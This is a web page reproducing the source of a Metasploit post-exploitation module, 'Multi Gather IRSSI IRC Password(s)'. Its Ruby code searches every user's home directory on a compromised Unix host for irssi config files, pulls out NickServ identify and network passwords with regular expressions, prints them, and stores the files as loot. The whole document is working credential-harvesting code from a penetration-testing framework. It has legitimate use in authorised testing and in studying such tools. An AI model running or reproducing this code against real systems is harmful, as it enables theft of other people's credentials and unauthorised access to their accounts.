Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/irssi_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather IRSSI IRC Password(s)',14'Description' => %q{15This module grabs IRSSI IRC credentials.16},17'Author' => [18'Jonathan Claudius <jclaudius[at]mozilla.com>',19],20'Platform' => %w[bsd linux osx unix],21'SessionTypes' => %w[shell],22'License' => MSF_LICENSE23)24)25end2627def run28print_status('Finding ~/.irssi/config')29paths = enum_user_directories.map { |d| d + '/.irssi/config' }30paths = paths.select { |f| file?(f) }3132if paths.empty?33print_error('No users found with a ~/.irssi/config file')34return35end3637download_passwords(paths)38end3940# Example of what we're looking for in the config...41#42# ***Identify Password Example***43# autosendcmd = "/msg nickserv identify example_password ;wait 2000";44#45# ***Network Password Example***46# password = "example_password";47#48def contains_passwords?(path)49data = read_file(path)50identify_passwords = data.scan(%r{/\^?msg nickserv identify ([^\s]+)})51network_passwords = data.scan(/^?password = "([^\s]+)"/)5253passwords = identify_passwords.flatten + network_passwords.flatten5455if passwords.any?56print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}")57return true58end5960false61end6263def download_passwords(paths)64print_status "Looting #{paths.count} files"6566paths.each do |path|67path.chomp!68next if ['.', '..'].include?(path)6970next unless contains_passwords?(path)7172loot_path = store_loot(73'irssi config file',74'text/plain',75session,76read_file(path),77path,78'IRC Password'79)80print_good("irssi config with passwords stored in #{loot_path}")81end82end83end848586